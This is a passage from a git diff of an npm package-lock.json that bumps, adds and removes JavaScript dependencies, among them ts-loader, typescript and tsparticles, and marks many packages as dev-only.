"https://registry.npmjs.org/term-size/-/term-size-2.2.1.tgz", + "integrity": "sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==", + "dev": true }, "terser": { "version": "4.8.0", @@ -16851,6 +21070,17 @@ "worker-farm": "^1.7.0" }, "dependencies": { + "find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + } + }, "schema-utils": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", @@ -16880,6 +21110,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/then-fs/-/then-fs-2.0.0.tgz", "integrity": "sha1-cveS3Z0xcFqRrhnr/Piz+WjIHaI=", + "dev": true, "requires": { "promise": ">=3.2 <8" } @@ -16887,22 +21118,19 @@ "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", + "dev": true }, "through2": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, "requires": { "readable-stream": "~2.3.6", "xtend": "~4.0.1" } }, - "thunkify": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/thunkify/-/thunkify-2.1.2.tgz", - "integrity": "sha1-+qDp0jDFGsyVyhOjYawFyn4EVT0=" - }, "thunky": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", @@ -16910,9 +21138,9 @@ "dev": true }, "timers-browserify": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz", - "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==", + "version": "2.0.12", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz", + "integrity": "sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==", "dev": true, "requires": { "setimmediate": "^1.0.4" @@ -16937,6 +21165,7 @@ "version": "0.0.33", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, "requires": { "os-tmpdir": "~1.0.2" } @@ -16975,7 +21204,8 @@ "to-readable-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", - "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==" + "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==", + "dev": true }, "to-regex": { "version": "3.0.2", @@ -17007,12 +21237,14 @@ "toidentifier": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", - "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", + "dev": true }, "toml": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/toml/-/toml-3.0.0.tgz", - "integrity": "sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==" + "integrity": "sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==", + "dev": true }, "toposort": { "version": "1.0.7", @@ -17033,12 +21265,13 @@ "tree-kill": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", - "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==" + "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", + "dev": true }, - "trim": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/trim/-/trim-0.0.1.tgz", - "integrity": "sha1-WFhUf2spB1fulczMZm+1AITEYN0=", + "treeify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/treeify/-/treeify-1.1.0.tgz", + "integrity": "sha512-1m4RA7xVAJrSGrrXGs0L3YTwyvBs2S8PbRHaLZAkFw7JR8oIFwYtysxlBZhYIa7xSyiYJKZ3iGrrk55cGA3i9A==", "dev": true }, "trim-newlines": { @@ -17047,12 +21280,6 @@ "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", "dev": true }, - "trim-trailing-lines": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/trim-trailing-lines/-/trim-trailing-lines-1.1.3.tgz", - "integrity": "sha512-4ku0mmjXifQcTVfYDfR5lpgV7zVqPg6zV9rdZmwOPqq0+Zq19xDqEgagqVbc4pOOShbncuAOIs59R3+3gcF3ZA==", - "dev": true - }, "trough": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", @@ -17068,25 +21295,169 @@ "glob": "^7.1.2" } }, + "ts-loader": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.1.0.tgz", + "integrity": "sha512-YiQipGGAFj2zBfqLhp28yUvPP9jUGqHxRzrGYuc82Z2wM27YIHbElXiaZDc93c3x0mz4zvBmS6q/DgExpdj37A==", + "dev": true, + "requires": { + "chalk": "^4.1.0", + "enhanced-resolve": "^4.0.0", + "loader-utils": "^2.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "json5": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "dev": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, "tslib": { "version": "1.11.2", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.2.tgz", - "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==" + "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==", + "dev": true }, "tsparticles": { - "version": "1.17.7", - "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.17.7.tgz", - "integrity": "sha512-+9b0YplbE38WPxWAMwYQ6+VLZ4LsDG8N3RAPx8ezwsi0IfR1ZEirfuHOUoYv3KfPMpmJOxf0F4jAFcq47uwyMA==", + "version": "1.26.2", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.26.2.tgz", + "integrity": "sha512-rUOd8lrpZwcEIa0Ft+QzS73Eorl4xo6neVDNGFPxakSOMbOPL7OHdzjbqZgoE93dbRBzJlguhRMGZiRRuH86gQ==", "requires": { - "pathseg": "^1.2.0", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" - } + "pathseg": "^1.2.0" } }, "tty-browserify": { @@ -17098,7 +21469,8 @@ "tunnel": { "version": "0.0.6", "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", - "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==" + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", + "dev": true }, "tunnel-agent": { "version": "0.6.0", @@ -17112,12 +21484,14 @@ "tweetnacl": { "version": "0.14.5", "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", + "dev": true }, "type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", + "dev": true, "requires": { "prelude-ls": "~1.1.2" } @@ -17125,7 +21499,8 @@ "type-fest": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", - "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==" + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true }, "type-is": { "version": "1.6.18", @@ -17147,10 +21522,17 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dev": true, "requires": { "is-typedarray": "^1.0.0" } }, + "typescript": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.2.4.tgz", + "integrity": "sha512-V+evlYHZnQkaz8TRBuxTA92yZBPotr5H+WhQ7bD3hZUndx5tGOa1fuCgeSjxAzM1RiN5IzvadIXTVefuuwZCRg==", + "dev": true + }, "ua-parser-js": { "version": "0.7.21", "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.21.tgz", @@ -17180,32 +21562,37 @@ } } }, + "unbox-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", + "integrity": "sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "has-bigints": "^1.0.1", + "has-symbols": "^1.0.2", + "which-boxed-primitive": "^1.0.2" + }, + "dependencies": { + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + } + } + }, "uncontrollable": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.1.1.tgz", - "integrity": "sha512-EcPYhot3uWTS3w00R32R2+vS8Vr53tttrvMj/yA1uYRhf8hbTG2GyugGqWDY0qIskxn0uTTojVd6wPYW9ZEf8Q==", + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.2.1.tgz", + "integrity": "sha512-svtcfoTADIB0nT9nltgjujTi7BzVmwjZClOmskKu/E8FW9BXzg9os8OLr4f8Dlnk0rYWJIWr4wv9eKUXiQvQwQ==", "requires": { "@babel/runtime": "^7.6.3", - "@types/react": "^16.9.11", + "@types/react": ">=16.9.11", "invariant": "^2.2.4", "react-lifecycles-compat": "^3.0.4" } }, - "underscore": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz", - "integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw==" - }, - "unherit": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/unherit/-/unherit-1.1.3.tgz", - "integrity": "sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ==", - "dev": true, - "requires": { - "inherits": "^2.0.0", - "xtend": "^4.0.0" - } - }, "unicode-canonical-property-names-ecmascript": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", @@ -17235,9 +21622,9 @@ "dev": true }, "unified": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/unified/-/unified-9.0.0.tgz", - "integrity": "sha512-ssFo33gljU3PdlWLjNp15Inqb77d6JnJSfyplGJPT/a+fNRNyCBeveBAYJdO5khKdF6WVHa/yYCC7Xl6BDwZUQ==", + "version": "9.2.1", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.1.tgz", + "integrity": "sha512-juWjuI8Z4xFg8pJbnEZ41b5xjGUWGHqXALmBZ3FC3WX0PIx1CZBIIJ6mXbYMcf6Yw4Fi0rFUTA1cdz/BglbOhA==", "dev": true, "requires": { "bail": "^1.0.0", @@ -17249,9 +21636,9 @@ }, "dependencies": { "is-buffer": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.4.tgz", - "integrity": "sha512-Kq1rokWXOPXWuaMAqZiJW4XxsmD9zGx9q4aePabbn3qCRGedtH7Cm+zV8WETitMfu1wdh+Rvd6w5egwSngUX2A==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", "dev": true } } @@ -17296,34 +21683,26 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "dev": true, "requires": { "crypto-random-string": "^2.0.0" } }, "unist-util-find-all-after": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.1.tgz", - "integrity": "sha512-0GICgc++sRJesLwEYDjFVJPJttBpVQaTNgc6Jw0Jhzvfs+jtKePEMu+uD+PqkRUrAvGQqwhpDwLGWo1PK8PDEw==", + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz", + "integrity": "sha512-xaTC/AGZ0rIM2gM28YVRAFPIZpzbpDtU3dRmp7EXlNVA8ziQc4hY3H7BHXM1J49nEmiqc3svnqMReW+PGqbZKQ==", "dev": true, "requires": { "unist-util-is": "^4.0.0" } }, "unist-util-is": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.0.2.tgz", - "integrity": "sha512-Ofx8uf6haexJwI1gxWMGg6I/dLnF2yE+KibhD3/diOqY2TinLcqHXCV6OI5gFVn3xQqDH+u0M625pfKwIwgBKQ==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", + "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==", "dev": true }, - "unist-util-remove-position": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-2.0.1.tgz", - "integrity": "sha512-fDZsLYIe2uT+oGFnuZmy73K6ZxOPG/Qcm+w7jbEjaFcJgbQ6cqjs/eSPzXhsmGpAsWPkqZM9pYjww5QTn3LHMA==", - "dev": true, - "requires": { - "unist-util-visit": "^2.0.0" - } - }, "unist-util-stringify-position": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", @@ -17333,27 +21712,6 @@ "@types/unist": "^2.0.2" } }, - "unist-util-visit": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-2.0.2.tgz", - "integrity": "sha512-HoHNhGnKj6y+Sq+7ASo2zpVdfdRifhTgX2KTU3B/sO/TTlZchp7E3S4vjRzDJ7L60KmrCPsQkVK3lEF3cz36XQ==", - "dev": true, - "requires": { - "@types/unist": "^2.0.0", - "unist-util-is": "^4.0.0", - "unist-util-visit-parents": "^3.0.0" - } - }, - "unist-util-visit-parents": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.0.2.tgz", - "integrity": "sha512-yJEfuZtzFpQmg1OSCyS9M5NJRrln/9FbYosH3iW0MG402QbdbaB8ZESwUv9RO6nRfLAKvWcMxCwdLWOov36x/g==", - "dev": true, - "requires": { - "@types/unist": "^2.0.0", - "unist-util-is": "^4.0.0" - } - }, "universalify": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", @@ -17363,7 +21721,8 @@ "unpipe": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", + "dev": true }, "unset-value": { "version": "1.0.0", @@ -17405,6 +21764,12 @@ } } }, + "untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", + "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", + "dev": true + }, "upath": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", @@ -17412,9 +21777,10 @@ "dev": true }, "update-notifier": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.1.tgz", - "integrity": "sha512-9y+Kds0+LoLG6yN802wVXoIfxYEwh3FlZwzMwpCZp62S2i1/Jzeqb9Eeeju3NSHccGGasfGlK5/vEHbAifYRDg==", + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.3.tgz", + "integrity": "sha512-Yld6Z0RyCYGB6ckIjffGOSOmHXj1gMeE7aROz4MG+XMkmixBX4jUngrGXNYz7wPKBmtoD4MnBa2Anu7RSKht/A==", + "dev": true, "requires": { "boxen": "^4.2.0", "chalk": "^3.0.0", @@ -17432,11 +21798,11 @@ }, "dependencies": { "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, @@ -17444,6 +21810,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -17453,6 +21820,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -17460,22 +21828,20 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" - }, - "import-lazy": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", - "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -17558,6 +21924,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", + "dev": true, "requires": { "prepend-http": "^2.0.0" } @@ -17568,6 +21935,12 @@ "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", 